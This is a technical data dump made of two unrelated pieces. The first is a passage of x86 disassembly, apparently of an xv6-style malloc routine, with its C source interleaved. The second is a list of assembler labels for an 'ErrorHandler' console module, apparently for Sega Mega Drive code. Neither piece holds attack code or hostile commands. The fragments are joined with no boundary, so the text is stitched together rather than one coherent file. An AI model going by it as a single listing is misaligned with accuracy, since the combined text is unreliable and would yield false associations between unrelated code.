0c sub $0xc,%esp 72e: 56 push %esi 72f: e8 66 fc ff ff call 39a <sbrk> if(p == (char*)-1) 734: 83 c4 10 add $0x10,%esp 737: 83 f8 ff cmp $0xffffffff,%eax 73a: 74 1c je 758 <malloc+0x88> hp->s.size = nu; 73c: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 73f: 83 ec 0c sub $0xc,%esp 742: 83 c0 08 add $0x8,%eax 745: 50 push %eax 746: e8 f5 fe ff ff call 640 <free> return freep; 74b: 8b 15 d4 0a 00 00 mov 0xad4,%edx if((p = morecore(nunits)) == 0) 751: 83 c4 10 add $0x10,%esp 754: 85 d2 test %edx,%edx 756: 75 c0 jne 718 <malloc+0x48> return 0; } } 758: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 75b: 31 c0 xor %eax,%eax } 75d: 5b pop %ebx 75e: 5e pop %esi 75f: 5f pop %edi 760: 5d pop %ebp 761: c3 ret 762: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 768: 39 cf cmp %ecx,%edi 76a: 74 54 je 7c0 <malloc+0xf0> p->s.size -= nunits; 76c: 29 f9 sub %edi,%ecx 76e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 771: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 774: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 777: 89 15 d4 0a 00 00 mov %edx,0xad4 } 77d: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 780: 83 c0 08 add $0x8,%eax } 783: 5b pop %ebx 784: 5e pop %esi 785: 5f pop %edi 786: 5d pop %ebp 787: c3 ret 788: 90 nop 789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 790: c7 05 d4 0a 00 00 d8 movl $0xad8,0xad4 797: 0a 00 00 79a: c7 05 d8 0a 00 00 d8 movl $0xad8,0xad8 7a1: 0a 00 00 base.s.size = 0; 7a4: b8 d8 0a 00 00 mov $0xad8,%eax 7a9: c7 05 dc 0a 00 00 00 movl $0x0,0xadc 7b0: 00 00 00 7b3: e9 44 ff ff ff jmp 6fc <malloc+0x2c> 7b8: 90 nop 7b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 7c0: 8b 08 mov (%eax),%ecx 7c2: 89 0a mov %ecx,(%edx) 7c4: eb b1 jmp 777 <malloc+0xa7>
ErrorHandler___global__error_initconsole: label ErrorHandler+$146 ErrorHandler___global__errorhandler_setupvdp: label ErrorHandler+$234 ErrorHandler___global__console_loadpalette: label ErrorHandler+$A1A ErrorHandler___global__console_setposasxy_stack: label ErrorHandler+$A56 ErrorHandler___global__console_setposasxy: label ErrorHandler+$A5C ErrorHandler___global__console_getposasxy: label ErrorHandler+$A88 ErrorHandler___global__console_startnewline: label ErrorHandler+$AAA ErrorHandler___global__console_setbasepattern: label ErrorHandler+$AD2 ErrorHandler___global__console_setwidth: label ErrorHandler+$AE6 ErrorHandler___global__console_writeline_withpattern: label ErrorHandler+$AFC ErrorHandler___global__console_writeline: label ErrorHandler+$AFE ErrorHandler___global__console_write: label ErrorHandler+$B02 ErrorHandler___global__console_writeline_formatted: label ErrorHandler+$BAE ErrorHandler___global__console_write_formatted: label ErrorHandler+$BB2